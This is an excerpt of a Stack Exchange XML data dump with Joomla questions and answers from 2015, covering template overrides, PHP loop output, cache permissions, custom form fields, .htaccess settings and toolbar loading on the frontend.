  <row Id="13883" PostTypeId="1" AcceptedAnswerId="13885" CreationDate="2015-10-08T06:52:03.283" Score="5" ViewCount="1446" Body="&lt;p&gt;I would like to remove the 'Publishing', 'Language' and 'Metadata' options from the frontend. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how this can be done?&lt;br&gt;&#xA;Any help would be greatly appreciated! Thank you! &lt;/p&gt;&#xA;" OwnerUserId="7066" LastEditorUserId="126" LastEditDate="2015-10-10T10:59:05.493" LastActivityDate="2018-02-23T18:19:04.087" Title="Remove 'Publishing', 'Language' and 'Metadata' options from frontend editor in Joomla 3.4" Tags="|joomla-3.x|joomla-3.4|administration|configuration|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13884" PostTypeId="2" ParentId="13883" CreationDate="2015-10-08T08:13:22.073" Score="3" Body="&lt;p&gt;Assuming your form instance is in variable &lt;code&gt;$this-&amp;gt;form&lt;/code&gt; like it's on core components.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your &lt;code&gt;edit.php&lt;/code&gt; add these lines.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;form-&amp;gt;removeField('state');&#xA;$this-&amp;gt;form-&amp;gt;removeField('language');&#xA;&#xA;// Remove metadata group fields&#xA;$this-&amp;gt;form-&amp;gt;removeGroup('metadata');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Tested on Joomla! 3.4.4.&lt;/p&gt;&#xA;" OwnerUserId="3944" LastEditorUserId="3944" LastEditDate="2015-10-09T05:02:06.990" LastActivityDate="2015-10-09T05:02:06.990" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13885" PostTypeId="2" ParentId="13883" CreationDate="2015-10-08T12:31:11.117" Score="7" Body="&lt;p&gt;Copy this file :&lt;code&gt;[root]/components/com_content/views/form/tmpl/edit.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to &lt;code&gt;[root]/templates/your_active_template/html/com_content/form/edit.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then open and delete line 75 to 77&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;#publishing&quot; data-toggle=&quot;tab&quot;&amp;gt;&amp;lt;?php echo JText::_('COM_CONTENT_PUBLISHING') ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;#language&quot; data-toggle=&quot;tab&quot;&amp;gt;&amp;lt;?php echo JText::_('JFIELD_LANGUAGE_LABEL') ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;#metadata&quot; data-toggle=&quot;tab&quot;&amp;gt;&amp;lt;?php echo JText::_('COM_CONTENT_METADATA') ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also delete line 123 to 159 , for remove the form completely :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;tab-pane&quot; id=&quot;publishing&quot;&amp;gt;&#xA;    &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('catid'); ?&amp;gt;&#xA;    &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('tags'); ?&amp;gt;&#xA;    &amp;lt;?php if ($params-&amp;gt;get('save_history', 0)) : ?&amp;gt;&#xA;        &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('version_note'); ?&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;    &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('created_by_alias'); ?&amp;gt;&#xA;    &amp;lt;?php if ($this-&amp;gt;item-&amp;gt;params-&amp;gt;get('access-change')) : ?&amp;gt;&#xA;        &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('state'); ?&amp;gt;&#xA;        &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('featured'); ?&amp;gt;&#xA;        &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('publish_up'); ?&amp;gt;&#xA;        &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('publish_down'); ?&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;    &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('access'); ?&amp;gt;&#xA;    &amp;lt;?php if (is_null($this-&amp;gt;item-&amp;gt;id)):?&amp;gt;&#xA;        &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;control-label&quot;&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                &amp;lt;?php echo JText::_('COM_CONTENT_ORDERING'); ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;tab-pane&quot; id=&quot;language&quot;&amp;gt;&#xA;    &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('language'); ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;tab-pane&quot; id=&quot;metadata&quot;&amp;gt;&#xA;    &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('metadesc'); ?&amp;gt;&#xA;    &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('metakey'); ?&amp;gt;&#xA;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;task&quot; value=&quot;&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;return&quot; value=&quot;&amp;lt;?php echo $this-&amp;gt;return_page; ?&amp;gt;&quot; /&amp;gt;&#xA;    &amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('enable_category', 0) == 1) :?&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;jform[catid]&quot; value=&quot;&amp;lt;?php echo $this-&amp;gt;params-&amp;gt;get('catid', 1); ?&amp;gt;&quot; /&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2295" LastActivityDate="2015-10-08T12:31:11.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13886" PostTypeId="1" AcceptedAnswerId="13889" CreationDate="2015-10-08T13:05:52.703" Score="2" ViewCount="5929" Body="&lt;p&gt;I have written the following PHP, to basically show a LI if the status is set to Offline or Delay:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    if(count($rows) &amp;gt; 0) {  &#xA;        foreach($rows as $row)&#xA;            {&#xA;                $service = $row-&amp;gt;service;&#xA;                $details = $row-&amp;gt;status_details;&#xA;                $status = $row-&amp;gt;status;&#xA;                // status image check       &#xA;                    if($status == &quot;ONLINE&quot;)&#xA;                    {&#xA;                        $symbol = &quot;online.png&quot;;&#xA;                    }&#xA;                    if($status == &quot;OFFLINE&quot;)&#xA;                    {&#xA;                        $symbol = &quot;offline.png&quot;;&#xA;                    }&#xA;                    if($status == &quot;DELAY&quot;)&#xA;                    {&#xA;                        $symbol = &quot;delay.png&quot;;&#xA;                    }&#xA;        ?&amp;gt;&#xA;&#xA;        &amp;lt;li class=&quot;&amp;lt;?php echo $status; ?&amp;gt;&quot;&amp;gt;&#xA;            &amp;lt;img src=&quot;&amp;lt;?php echo $moduleLoc, $symbol;?&amp;gt;&quot; alt=&quot;Service Status &amp;lt;?php echo $service; ?&amp;gt;&quot; /&amp;gt; &amp;lt;span class=&quot;details&quot;&amp;gt;&amp;lt;?php echo $details; ?&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;        &amp;lt;?php   &#xA;&#xA;                }&#xA;&#xA;        ?&amp;gt;&#xA;        &amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using CSS, if the class of &quot;ONLINE&quot; is then shown, then LI is hidden.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I want to add a statement to be shown if the status is OFFLINE or DELAY, I've written the following, which is working but due to the foreach statement, it's showing for every LI that has either OFFLINE or DELAY. I want it to be shown only once:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    if(($status == &quot;OFFLINE&quot;) || ($status == &quot;DELAY&quot;)){&#xA;        echo '&amp;lt;li class=&quot;systemsGo&quot;&amp;gt;&amp;lt;img src=&quot;' . $moduleLoc . 'online.png&quot; alt=&quot;Online Update&quot; /&amp;gt;&amp;lt;span class=&quot;details&quot;&amp;gt;All Other Applications Are Working Well&amp;lt;/span&amp;gt;&amp;lt;/li&amp;gt;';   &#xA;    }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="294" LastActivityDate="2015-10-08T15:14:23.137" Title="Echo content inside foreach only once" Tags="|php|joomla-3.4|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13889" PostTypeId="2" ParentId="13886" CreationDate="2015-10-08T14:08:24.797" Score="2" Body="&lt;p&gt;Right, I've come up with one method.&lt;/p&gt;&#xA;&lt;p&gt;You first need to define a variable as an array:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$get_status = array();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then in the &lt;code&gt;foreach&lt;/code&gt; loop, you need to combine the status of all the results in this newly defined array, like so:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;foreach ($rows as $row)&#xA;{&#xA;    $get_status[] = $status;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;After the &lt;code&gt;foreach&lt;/code&gt; loop, you'll need to extract the array, like so:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;extract($get_status);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;then you can check if all the statuses in the array are all the same and display a message, like so:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if (count(array_unique($get_status)) === 1 &amp;amp;&amp;amp; end($get_status) === 'ONLINE')&#xA;{&#xA;    echo 'All systems are online';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h3&gt;Full code and tested:&lt;/h3&gt;&#xA;&lt;pre&gt;&lt;code&gt;if (count($rows) &amp;gt; 0) &#xA;{&#xA;    $get_status = array();&#xA;&#xA;    foreach ($rows as $row)&#xA;    {&#xA;        $service = $row-&amp;gt;service;&#xA;        $details = $row-&amp;gt;status_details;&#xA;        $status  = $row-&amp;gt;status;&#xA;        $symbol  = '';&#xA;        &#xA;        // status image check       &#xA;        if ($status == 'ONLINE')&#xA;        {&#xA;            $symbol = 'online.png';&#xA;        }&#xA;        if ($status == 'OFFLINE')&#xA;        {&#xA;            $symbol = 'offline.png';&#xA;        }&#xA;        if ($status == 'DELAY')&#xA;        {&#xA;            $symbol = 'delay.png';&#xA;        }&#xA;        &#xA;        $get_status[] = $status;&#xA;    ?&amp;gt;&#xA;        &amp;lt;li class=&amp;quot;&amp;lt;?php echo $status; ?&amp;gt;&amp;quot;&amp;gt;&#xA;            &amp;lt;img src=&amp;quot;&amp;lt;?php echo $moduleLoc, $symbol;?&amp;gt;&amp;quot; alt=&amp;quot;Service Status &amp;lt;?php echo $service; ?&amp;gt;&amp;quot; /&amp;gt;&#xA;            &amp;lt;span class=&amp;quot;details&amp;quot;&amp;gt;&amp;lt;?php echo $details; ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;        &#xA;    &amp;lt;?php   &#xA;    }&#xA;    &#xA;    extract($get_status);&#xA;    &#xA;    if (count(array_unique($get_status)) === 1 &amp;amp;&amp;amp; end($get_status) === 'ONLINE')&#xA;    {&#xA;        echo 'All systems are online';&#xA;    }&#xA;    else if (count(array_unique($get_status)) === 1 &amp;amp;&amp;amp; end($get_status) === 'OFFLINE')&#xA;    {&#xA;        echo 'All systems are offline';&#xA;    }&#xA;    else if (count(array_unique($get_status)) === 1 &amp;amp;&amp;amp; end($get_status) === 'DELAY')&#xA;    {&#xA;        echo 'All systems are delayed';&#xA;    }&#xA;    else&#xA;    {&#xA;        echo 'Not the same';&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;&lt;p&gt;P.S: I've made a few minor tweaks such as replacing double quotes with single quotes and also defined &lt;code&gt;$symbol&lt;/code&gt; outside of your &lt;code&gt;if&lt;/code&gt; statements, just incase the &lt;code&gt;$status&lt;/code&gt; doesn't match (will throw a PHP error otherwise)&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-10-08T15:14:23.137" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13890" PostTypeId="1" CreationDate="2015-10-09T10:04:37.937" Score="0" ViewCount="69" Body="&lt;p&gt;I have Joomla! 2.5.18 and when I clean cache are either folders inside /cache newly created or overwritten with permission from 755 to 640. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is that happening? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've checked through the files and there is nowhere set that newly created files should be created with permission 640. &#xA;For all the components to work properly I need this kind of permissions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even the user (and group) is the same as for every folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where is exactly is this defined? At some file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for any help.&lt;/p&gt;&#xA;" OwnerUserId="5324" LastEditorUserId="126" LastEditDate="2015-10-10T15:50:54.547" LastActivityDate="2015-10-10T15:50:54.547" Title="Joomla creates folders inside cache with 640 permission" Tags="|joomla-2.5|cache|file-permissions|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13891" PostTypeId="1" CreationDate="2015-10-09T12:20:06.657" Score="0" ViewCount="172" Body="&lt;p&gt;In a Joomla 3.x plugin I need to create several new form field type and in some cases extend already existing core form fields. I know how to do it, but I have some doubts how to structure this files when they also have some css and js files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I create individual directories for each element and put all related files inside those directories or should I have only one directory and put all css and js files from all the elements inside?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When needed, should I have one css file for each element or only one css file with all elements styles?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;plugin_name_dir&#xA;|&#xA;|__elements_dir&#xA;        |    |__element_a.php&#xA;        |    |__element_b.php&#xA;        |&#xA;        |__element_a_dir&#xA;        |       |__css_dir&#xA;        |       |    |__element_a.css&#xA;        |       |&#xA;        |       |__js_dir&#xA;        |           |__element_a.js&#xA;        |&#xA;        |__element_b_dir&#xA;        |       |__css_dir&#xA;        |       |    |__element_b.css&#xA;        |       |&#xA;        |       |__js_dir&#xA;        |           |__element_b.js&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;plugin_name_dir&#xA;|&#xA;|__elements_dir&#xA;|    |__element_a.php&#xA;|    |__element_b.php&#xA;|&#xA;|__css_dir&#xA;|    |__element_a.css&#xA;|    |__element_b.css&#xA;|&#xA;|__js_dir&#xA;|    |__element_a.js&#xA;|    |__element_b.js&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2087" LastEditorUserId="2087" LastEditDate="2015-10-09T18:53:43.110" LastActivityDate="2016-11-27T19:42:29.103" Title="Form field type structure" Tags="|joomla-3.x|development|extensions|overrides|jform|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13892" PostTypeId="2" ParentId="13830" CreationDate="2015-10-09T13:17:15.370" Score="0" Body="&lt;p&gt;Finally we removed tags queries from this model and J seems to be working just fine and faster.&lt;/p&gt;&#xA;" OwnerDisplayName="user6981" LastActivityDate="2015-10-09T13:17:15.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13893" PostTypeId="2" ParentId="4563" CreationDate="2015-10-09T14:12:17.073" Score="4" Body="&lt;p&gt;The only downside to @johanpw's solution is by using #datetimepicker2 that means this field type can only be used once. Good solution otherwise!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead try the following in your /modules/mod_yourmodule/fields/datetime.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$id = str_replace('jform[','',str_replace(']','',$this-&amp;gt;name));&#xA;&#xA;return '&amp;lt;div id=&quot;datetimepicker'.$id.'&quot; class=&quot;input-append date&quot;&amp;gt;'.&#xA;                 '&amp;lt;input name=&quot;'.$this-&amp;gt;name.'&quot; data-format=&quot;MM/dd/yyyy HH:mm:ss PP&quot; value=&quot;'.$this-&amp;gt;value.'&quot; type=&quot;text&quot; /&amp;gt;'.&#xA;                 '&amp;lt;span class=&quot;add-on&quot;&amp;gt;'.&#xA;                   '&amp;lt;i data-time-icon=&quot;icon-time&quot; data-date-icon=&quot;icon-calendar&quot;&amp;gt;&amp;lt;/i&amp;gt;'.&#xA;                 '&amp;lt;/span&amp;gt;'.&#xA;                '&amp;lt;/div&amp;gt;'.&#xA;                '&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;'.&#xA;                  'jQuery(function() {'.&#xA;                    'jQuery(&quot;#datetimepicker'.$id.'&quot;).datetimepicker({'.&#xA;                      'language: &quot;en&quot;,'.&#xA;                      'pick12HourFormat: true,'.&#xA;                      'format: &quot;yyyy-MM-dd hh:mm:ss&quot;'.&#xA;                    '});'.&#xA;                  '});'.&#xA;                '&amp;lt;/script&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've also added in &lt;code&gt;'format: &quot;yyyy-MM-dd hh:mm:ss&quot;'&lt;/code&gt; so you can use it properly within a component with a DateTime SQL field if you desire.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also had issues where the input box would disappear after selecting a date, this could just be me but if anyone else experiences this try this to your admin css:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.input-append.date {&#xA;    display: inline-block!important;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7076" LastEditorUserId="7076" LastEditDate="2015-10-09T22:17:19.373" LastActivityDate="2015-10-09T22:17:19.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13895" PostTypeId="1" AcceptedAnswerId="13898" CreationDate="2015-10-10T05:22:25.880" Score="0" ViewCount="326" Body="&lt;ol&gt;&#xA;&lt;li&gt;SP Smart Slider (optima slider): the image is not at the centered&lt;/li&gt;&#xA;&lt;li&gt;Unite Revolution Slider 2: the sub menu is hiding behind the revolution slider and it does not appear unless you scroll down.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;SP Smart Slider at homepage,Unite Revolution Slider 2 at revolution menu item my &lt;/p&gt;&#xA;&#xA;&lt;p&gt;SP PAGE BUILDER Version 1.0.5&lt;/p&gt;&#xA;" OwnerUserId="7019" LastEditorUserId="7019" LastEditDate="2019-08-22T04:45:29.560" LastActivityDate="2019-08-22T04:45:29.560" Title="Problem with 2 slide show" Tags="|joomla-3.x|joomla-3.4|helix3|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="13896" PostTypeId="1" CreationDate="2015-10-10T05:28:26.457" Score="2" ViewCount="451" Body="&lt;p&gt;I have a simple component with 1 php file that returns data from database. The file is called using JS AJAX from my homepage, and works perfectly when hosted locally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But on deploying it to live server, the AJAX call returns with : &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;failed to load resource. Internal server error occurred 500.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have tried giving permissions and re configuring htaccess.txt file... but all vein..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example: localhost:1000/index.php?option=com_comp&amp;amp;option=raw --- works web.azurewebsites.net/index.php?option=com_comp&amp;amp;option=raw --- dosent work&lt;/p&gt;&#xA;" OwnerUserId="7080" LastEditorUserId="126" LastEditDate="2015-10-10T10:55:51.970" LastActivityDate="2015-10-10T11:00:45.963" Title="Component loads in localhost but gives internal server error on live" Tags="|joomla-3.x|component|ajax|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13897" PostTypeId="2" ParentId="13896" CreationDate="2015-10-10T09:32:08.400" Score="2" Body="&lt;p&gt;In the .htaccess file uncomment this line: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#RewriteBase /&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Make it :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteBase /&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It have worked for me before on the same error&lt;/p&gt;&#xA;" OwnerUserId="371" LastEditorUserId="126" LastEditDate="2015-10-10T11:00:45.963" LastActivityDate="2015-10-10T11:00:45.963" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13898" PostTypeId="2" ParentId="13895" CreationDate="2015-10-10T09:37:06.300" Score="0" Body="&lt;p&gt;For the SP Smart SLider:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you add this rule in your template CSS it would center the image:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.sp-slider-thumb &amp;gt; img { margin: 0 auto;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope it solves your problem&lt;/p&gt;&#xA;" OwnerUserId="371" LastEditorUserId="126" LastEditDate="2015-10-10T10:59:46.453" LastActivityDate="2015-10-10T10:59:46.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13899" PostTypeId="1" AcceptedAnswerId="13920" CreationDate="2015-10-10T10:07:07.227" Score="3" ViewCount="447" Body="&lt;p&gt;I'm creating a template and here is my templateDetails.xml.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;extension version=&quot;3.4&quot; type=&quot;template&quot; client=&quot;site&quot; method=&quot;upgrade&quot;&amp;gt;&#xA;    &amp;lt;name&amp;gt;my_tpl&amp;lt;/name&amp;gt;&#xA;    &amp;lt;creationDate&amp;gt;18-06-2015&amp;lt;/creationDate&amp;gt;&#xA;    &amp;lt;author&amp;gt;memyself&amp;lt;/author&amp;gt;&#xA;    &amp;lt;copyright&amp;gt;Copyright © 2015 memyself.com&amp;lt;/copyright&amp;gt;&#xA;    &amp;lt;authorEmail&amp;gt;me@memyself.com&amp;lt;/authorEmail&amp;gt;&#xA;    &amp;lt;authorUrl&amp;gt;http://www.memyself.com&amp;lt;/authorUrl&amp;gt;&#xA;    &amp;lt;version&amp;gt;1.0.0&amp;lt;/version&amp;gt;&#xA;    &amp;lt;description&amp;gt;TPL_DESC&amp;lt;/description&amp;gt;&#xA;&amp;lt;files&amp;gt;&#xA;    &amp;lt;filename&amp;gt;component.php&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;filename&amp;gt;error.php&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;filename&amp;gt;favicon.ico&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;filename&amp;gt;index.php&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;filename&amp;gt;templateDetails.xml&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;filename&amp;gt;template_preview.png&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;filename&amp;gt;template_thumbnail.png&amp;lt;/filename&amp;gt;&#xA;&#xA;    &amp;lt;filename&amp;gt;css/custom.css&amp;lt;/filename&amp;gt;&#xA;&#xA;    &amp;lt;folder&amp;gt;css&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;folder&amp;gt;html&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;folder&amp;gt;images&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;folder&amp;gt;img&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;folder&amp;gt;js&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;folder&amp;gt;language&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;folder&amp;gt;less&amp;lt;/folder&amp;gt;&#xA;&amp;lt;/files&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm using the upgrade method so that all files will be overwritten when a new update is installed. &#xA;But I don't want &lt;strong&gt;custom.css&lt;/strong&gt; to be overwritten when user installing an update (only when updating not for first install), because custom.css contains custom user edited code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to do such that?&lt;/p&gt;&#xA;" OwnerUserId="2295" LastActivityDate="2015-10-13T11:19:55.590" Title="How to not overwrite specific file when installing extension update" Tags="|templates|xml|template-framework|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13900" PostTypeId="2" ParentId="13899" CreationDate="2015-10-10T15:49:38.913" Score="0" Body="&lt;p&gt;I don´t know how to solve your question but I would explain how I do it in my components.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use css/style.css that have the style of the component and then I load theme/css/custom_style.css that overright style with the customer style.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, in style.css I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.box-wrapper{backgound:#ffffff; padding:10px; border:1px solid #ccc}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I want to change the box I won´t touch the style.css but custom_style.css&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.box-wrapper{border:0}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It will change the box but manteinig the original style.css&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course I won´t distribute custom_style.css in the package.&lt;/p&gt;&#xA;" OwnerUserId="371" LastActivityDate="2015-10-10T15:49:38.913" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13901" PostTypeId="1" AcceptedAnswerId="13904" CreationDate="2015-10-10T17:53:03.777" Score="1" ViewCount="1818" Body="&lt;p&gt;I am trying to use add toolbar to my Joomla component site following what it says in &lt;a href=&quot;https://docs.joomla.org/J3.x:Using_the_JToolBar_class_in_the_frontend&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/J3.x:Using_the_JToolBar_class_in_the_frontend&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It does say the functionality isn't working. Has anyone got it to work or is there something that I can do to make it work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am getting the following error on the &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Class 'JToolBarHelper' not found &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7052" LastActivityDate="2015-10-11T15:32:49.580" Title="JToolbar not found frontend" Tags="|joomla-3.x|component|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13904" PostTypeId="2" ParentId="13901" CreationDate="2015-10-11T15:32:49.580" Score="1" Body="&lt;p&gt;The class is not autoloaded on the frontend, you have to include it first&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(!class_exists('JToolbarHelper')) {&#xA;   require_once JPATH_ADMINISTRATOR . '/includes/toolbar.php';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="50" LastActivityDate="2015-10-11T15:32:49.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13906" PostTypeId="2" ParentId="13871" CreationDate="2015-10-12T05:51:55.180" Score="2" Body="&lt;p&gt;&lt;strong&gt;View.html.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here, you can write your need functionality coding and The display method will almost auto-magically load the default.php file. .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Default.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will look like html page here, functionality result will be display in this page.&lt;/p&gt;&#xA;" OwnerUserId="5404" LastActivityDate="2015-10-12T05:51:55.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
